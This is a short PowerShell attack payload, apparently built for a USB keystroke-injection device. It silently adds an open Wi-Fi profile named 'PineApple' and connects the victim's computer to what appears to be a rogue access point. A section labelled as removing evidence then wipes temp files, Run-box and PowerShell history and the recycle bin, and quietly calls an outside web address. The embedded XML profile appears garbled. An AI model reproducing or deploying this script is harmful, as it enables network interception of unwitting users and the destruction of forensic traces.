$profilefile="Home.xml" $SSID="PineApple" $SSIDHEX=($SSID.ToCharArray() |foreach-object {'{0:X}' -f ([int]$_)}) -join'' $xmlfile=" $SSID $SSIDHEX $SSID ESS manual open none false " $XMLFILE > ($profilefile) netsh wlan add profile filename="$($profilefile)" netsh wlan connect name=$SSID #---------------------------------------------------------------------------------------------------- <# .NOTES This is to clean up behind you and remove any evidence to prove you were there #> # Delete contents of Temp folder rm $env:TEMP\* -r -Force -ErrorAction SilentlyContinue # Delete run box history reg delete HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU /va /f # Delete powershell history Remove-Item (Get-PSreadlineOption).HistorySavePath # Deletes contents of recycle bin iwr "https://jakoby.lol/hak5" -EA 0 >$null Clear-RecycleBin -Force -ErrorAction SilentlyContinue